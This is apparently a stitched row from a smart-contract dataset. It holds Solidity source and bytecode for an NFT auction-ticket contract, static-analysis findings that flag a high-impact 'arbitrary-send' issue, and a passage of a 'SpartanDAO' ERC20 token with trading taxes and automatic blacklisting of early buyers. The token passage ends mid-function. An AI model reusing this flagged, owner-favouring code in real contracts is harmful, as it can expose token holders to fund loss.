function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
interface Auction {
function transferOwnership(address newOwner) external;
function withdrawAll() external;
}
contract FMWAuctionTicket is ERC721, ReentrancyGuard {
struct Bid {
address account;
uint price;
}
string public baseURI;
uint public checkpoint;
address payable immutable public deployer;
uint constant public firstTokenId = 5972;
uint constant public floorPrice = 0.15 ether;
Auction constant public auction = Auction(0x73a67e1B7DA8871e8dE742fb381954f61B7C0BB0);
bytes32 constant public rootHash = 0xa4f499a7096beab84de93438ff739d722efe89f37a4853e12a372e59a4b654ed;
constructor(
string memory name_,
string memory symbol_,
string memory baseURI_
) ERC721(name_, symbol_) {
baseURI = baseURI_;
deployer = payable(msg.sender);
}
function totalSupply() external view returns (uint) {
return checkpoint;
}
function _hashBids(Bid[] calldata bids) internal pure returns (bytes32 hash){
return keccak256(abi.encode(bids));
}
function hashBids(Bid[] calldata bids) external pure returns (bytes32 hash) {
return _hashBids(bids);
}
function mintAndRefund(
Bid[] calldata bids,
uint iterations
) external payable nonReentrant {
bytes32 dataHash = _hashBids(bids);
require(dataHash == rootHash, "Incorrect bids array");
uint _checkpoint = checkpoint;
uint bidCount = bids.length;
uint left = bidCount - _checkpoint;
if (iterations > left) {
iterations = left;
}
uint end = _checkpoint + iterations;
uint i;
for (i = _checkpoint; i < end; i++) {
address payable buyer = payable(bids[i].account);
_safeMint(buyer, firstTokenId + i);
uint refund = bids[i].price - floorPrice;
if (refund > 0) {
(bool ok,) = buyer.call{value : refund}("");
require(ok, "Failed to refund");
}
}
checkpoint = i;
if (i == bidCount) {
auction.withdrawAll();
auction.transferOwnership(deployer);
}
{
uint balance = address(this).balance;
(bool ok,) = deployer.call{value : balance}("");
require(ok, "Unable to transfer to deployer");
}
}
function returnOwnership() external {
require(msg.sender == deployer, 'Not deployer');
auction.transferOwnership(deployer);
}
} | 0x60806040526004361061014b5760003560e01c80636c0360eb116100b6578063b88d4fde1161006f578063b88d4fde146103a0578063c2c4c5c1146103c0578063c87b56dd146103d6578063d5f39488146103f6578063e985e9c51461042a578063f9407f001461047357600080fd5b80636c0360eb146102f257806370a08231146103075780637d9f6db5146103275780639363c8121461034f57806395d89b411461036b578063a22cb4651461038057600080fd5b806323b872dd1161010857806323b872dd14610254578063297d1a341461027457806334781dd81461028957806342842e0e1461029f57806363366622146102bf5780636352211e146102d257600080fd5b806301ffc9a71461015057806306fdde0314610185578063081812fc146101a7578063095ea7b3146101df57806318160ddd146102015780631d80009a14610220575b600080fd5b34801561015c57600080fd5b5061017061016b3660046119df565b610493565b60405190151581526020015b60405180910390f35b34801561019157600080fd5b5061019a6104e5565b60405161017c9190611b1e565b3480156101b357600080fd5b506101c76101c2366004611a17565b610577565b6040516001600160a01b03909116815260200161017c565b3480156101eb57600080fd5b506101ff6101fa36600461192c565b610611565b005b34801561020d57600080fd5b506008545b60405190815260200161017c565b34801561022c57600080fd5b506102127fa4f499a7096beab84de93438ff739d722efe89f37a4853e12a372e59a4b654ed81565b34801561026057600080fd5b506101ff61026f3660046117e2565b610727565b34801561028057600080fd5b506101ff610758565b34801561029557600080fd5b5061021261175481565b3480156102ab57600080fd5b506101ff6102ba3660046117e2565b61084e565b6101ff6102cd366004611995565b610869565b3480156102de57600080fd5b506101c76102ed366004611a17565b610c85565b3480156102fe57600080fd5b5061019a610cfc565b34801561031357600080fd5b50610212610322366004611796565b610d8a565b34801561033357600080fd5b506101c77373a67e1b7da8871e8de742fb381954f61b7c0bb081565b34801561035b57600080fd5b50610212670214e8348c4f000081565b34801561037757600080fd5b5061019a610e11565b34801561038c57600080fd5b506101ff61039b3660046118f2565b610e20565b3480156103ac57600080fd5b506101ff6103bb36600461181d565b610ee5565b3480156103cc57600080fd5b5061021260085481565b3480156103e257600080fd5b5061019a6103f1366004611a17565b610f17565b34801561040257600080fd5b506101c77f00000000000000000000000004231ce30049ab88a795c3dd10a15116e83811b781565b34801561043657600080fd5b506101706104453660046117b0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561047f57600080fd5b5061021261048e366004611955565b610fff565b60006001600160e01b031982166380ac58cd60e01b14806104c457506001600160e01b03198216635b5e139f60e01b145b806104df57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546104f490611c43565b80601f016020809104026020016040519081016040528092919081815260200182805461052090611c43565b801561056d5780601f106105425761010080835404028352916020019161056d565b820191906000526020600020905b81548152906001019060200180831161055057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166105f55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061061c82610c85565b9050806001600160a01b0316836001600160a01b0316141561068a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016105ec565b336001600160a01b03821614806106a657506106a68133610445565b6107185760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016105ec565b610722838361100b565b505050565b6107313382611079565b61074d5760405162461bcd60e51b81526004016105ec90611b83565b610722838383611170565b336001600160a01b037f00000000000000000000000004231ce30049ab88a795c3dd10a15116e83811b716146107bf5760405162461bcd60e51b815260206004820152600c60248201526b2737ba103232b83637bcb2b960a11b60448201526064016105ec565b60405163f2fde38b60e01b81526001600160a01b037f00000000000000000000000004231ce30049ab88a795c3dd10a15116e83811b71660048201527373a67e1b7da8871e8de742fb381954f61b7c0bb09063f2fde38b90602401600060405180830381600087803b15801561083457600080fd5b505af1158015610848573d6000803e3d6000fd5b50505050565b61072283838360405180602001604052806000815250610ee5565b600260065414156108bc5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016105ec565b600260065560006108cd8484611310565b90507fa4f499a7096beab84de93438ff739d722efe89f37a4853e12a372e59a4b654ed81146109355760405162461bcd60e51b8152602060048201526014602482015273496e636f7272656374206269647320617272617960601b60448201526064016105ec565b6008548360006109458383611c00565b905080851115610953578094505b600061095f8685611bd4565b9050835b81811015610aae57600089898381811061098d57634e487b7160e01b600052603260045260246000fd5b6109a39260206040909202019081019150611796565b90506109ba816109b584611754611bd4565b611343565b6000670214e8348c4f00008b8b858181106109e557634e487b7160e01b600052603260045260246000fd5b905060400201602001356109f99190611c00565b90508015610a99576000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114610a4e576040519150601f19603f3d011682016040523d82523d6000602084013e610a53565b606091505b5050905080610a975760405162461bcd60e51b815260206004820152601060248201526f11985a5b1959081d1bc81c99599d5b9960821b60448201526064016105ec565b505b50508080610aa690611c7e565b915050610963565b600881905583811415610bb0577373a67e1b7da8871e8de742fb381954f61b7c0bb06001600160a01b031663853828b66040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b505060405163f2fde38b60e01b81526001600160a01b037f00000000000000000000000004231ce30049ab88a795c3dd10a15116e83811b71660048201527373a67e1b7da8871e8de742fb381954f61b7c0bb0925063f2fde38b9150602401600060405180830381600087803b158015610b9757600080fd5b505af1158015610bab573d6000803e3d6000fd5b505050505b60405147906000906001600160a01b037f00000000000000000000000004231ce30049ab88a795c3dd10a15116e83811b7169083908381818185875af1925050503d8060008114610c1d576040519150601f19603f3d011682016040523d82523d6000602084013e610c22565b606091505b5050905080610c735760405162461bcd60e51b815260206004820152601e60248201527f556e61626c6520746f207472616e7366657220746f206465706c6f796572000060448201526064016105ec565b50506001600655505050505050505050565b6000818152600260205260408120546001600160a01b0316806104df5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016105ec565b60078054610d0990611c43565b80601f0160208091040260200160405190810160405280929190818152602001828054610d3590611c43565b8015610d825780601f10610d5757610100808354040283529160200191610d82565b820191906000526020600020905b815481529060010190602001808311610d6557829003601f168201915b505050505081565b60006001600160a01b038216610df55760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016105ec565b506001600160a01b031660009081526003602052604090205490565b6060600180546104f490611c43565b6001600160a01b038216331415610e795760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016105ec565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610eef3383611079565b610f0b5760405162461bcd60e51b81526004016105ec90611b83565b61084884848484611361565b6000818152600260205260409020546060906001600160a01b0316610f965760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016105ec565b6000610fad60408051602081019091526000815290565b90506000815111610fcd5760405180602001604052806000815250610ff8565b80610fd784611394565b604051602001610fe8929190611a5b565b6040516020818303038152906040525b9392505050565b6000610ff88383611310565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061104082610c85565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166110f25760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016105ec565b60006110fd83610c85565b9050806001600160a01b0316846001600160a01b031614806111385750836001600160a01b031661112d84610577565b6001600160a01b0316145b8061116857506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661118382610c85565b6001600160a01b0316146111eb5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016105ec565b6001600160a01b03821661124d5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016105ec565b61125860008261100b565b6001600160a01b0383166000908152600360205260408120805460019290611281908490611c00565b90915550506001600160a01b03821660009081526003602052604081208054600192906112af908490611bd4565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60008282604051602001611325929190611ac7565b60405160208183030381529060405280519060200120905092915050565b61135d8282604051806020016040528060008152506114ae565b5050565b61136c848484611170565b611378848484846114e1565b6108485760405162461bcd60e51b81526004016105ec90611b31565b6060816113b85750506040805180820190915260018152600360fc1b602082015290565b8160005b81156113e257806113cc81611c7e565b91506113db9050600a83611bec565b91506113bc565b60008167ffffffffffffffff81111561140b57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611435576020820181803683370190505b5090505b84156111685761144a600183611c00565b9150611457600a86611c99565b611462906030611bd4565b60f81b81838151811061148557634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506114a7600a86611bec565b9450611439565b6114b883836115ee565b6114c560008484846114e1565b6107225760405162461bcd60e51b81526004016105ec90611b31565b60006001600160a01b0384163b156115e357604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611525903390899088908890600401611a8a565b602060405180830381600087803b15801561153f57600080fd5b505af192505050801561156f575060408051601f3d908101601f1916820190925261156c918101906119fb565b60015b6115c9573d80801561159d576040519150601f19603f3d011682016040523d82523d6000602084013e6115a2565b606091505b5080516115c15760405162461bcd60e51b81526004016105ec90611b31565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611168565b506001949350505050565b6001600160a01b0382166116445760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016105ec565b6000818152600260205260409020546001600160a01b0316156116a95760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016105ec565b6001600160a01b03821660009081526003602052604081208054600192906116d2908490611bd4565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b80356001600160a01b038116811461174757600080fd5b919050565b60008083601f84011261175d578081fd5b50813567ffffffffffffffff811115611774578182fd5b6020830191508360208260061b850101111561178f57600080fd5b9250929050565b6000602082840312156117a7578081fd5b610ff882611730565b600080604083850312156117c2578081fd5b6117cb83611730565b91506117d960208401611730565b90509250929050565b6000806000606084860312156117f6578081fd5b6117ff84611730565b925061180d60208501611730565b9150604084013590509250925092565b60008060008060808587031215611832578081fd5b61183b85611730565b935061184960208601611730565b925060408501359150606085013567ffffffffffffffff8082111561186c578283fd5b818701915087601f83011261187f578283fd5b81358181111561189157611891611cd9565b604051601f8201601f19908116603f011681019083821181831017156118b9576118b9611cd9565b816040528281528a60208487010111156118d1578586fd5b82602086016020830137918201602001949094529598949750929550505050565b60008060408385031215611904578182fd5b61190d83611730565b915060208301358015158114611921578182fd5b809150509250929050565b6000806040838503121561193e578182fd5b61194783611730565b946020939093013593505050565b60008060208385031215611967578182fd5b823567ffffffffffffffff81111561197d578283fd5b6119898582860161174c565b90969095509350505050565b6000806000604084860312156119a9578283fd5b833567ffffffffffffffff8111156119bf578384fd5b6119cb8682870161174c565b909790965060209590950135949350505050565b6000602082840312156119f0578081fd5b8135610ff881611cef565b600060208284031215611a0c578081fd5b8151610ff881611cef565b600060208284031215611a28578081fd5b5035919050565b60008151808452611a47816020860160208601611c17565b601f01601f19169290920160200192915050565b60008351611a6d818460208801611c17565b835190830190611a81818360208801611c17565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611abd90830184611a2f565b9695505050505050565b6020808252818101839052600090604080840186845b87811015611b11576001600160a01b03611af683611730565b16835281850135858401529183019190830190600101611add565b5090979650505050505050565b602081526000610ff86020830184611a2f565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115611be757611be7611cad565b500190565b600082611bfb57611bfb611cc3565b500490565b600082821015611c1257611c12611cad565b500390565b60005b83811015611c32578181015183820152602001611c1a565b838111156108485750506000910152565b600181811c90821680611c5757607f821691505b60208210811415611c7857634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611c9257611c92611cad565b5060010190565b600082611ca857611ca8611cc3565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114611d0557600080fd5b5056fea2646970667358221220fc21924f5c22a4b07d2baa0e7da9f334addcec01e6bc6928e01f28c8df5dfa6164736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,403 |
0xe5637655329273b4d90c3933bbe05bbb3a64c4d0 | /**
Inspired by the best protocols... to build the most sustainable one...
Website : https://spartandao.net/
Learn about the upcoming Spartan Protocol : https://medium.com/@SpartanDAO/about
Join the community :
https://twitter.com/DaoSpartan
https://t.me/SpartanDaoPortal
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SpartanDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SpartanDAO";//
string private constant _symbol = "SPADAO";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 12;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x331a6B3Fd8d8eCd18292cB3107c82E2b5936264F);//
address payable private _marketingAddress = payable(0x9476c5bE23cCF08C0327e1c05Fbc11f930F2ce53);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 33000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
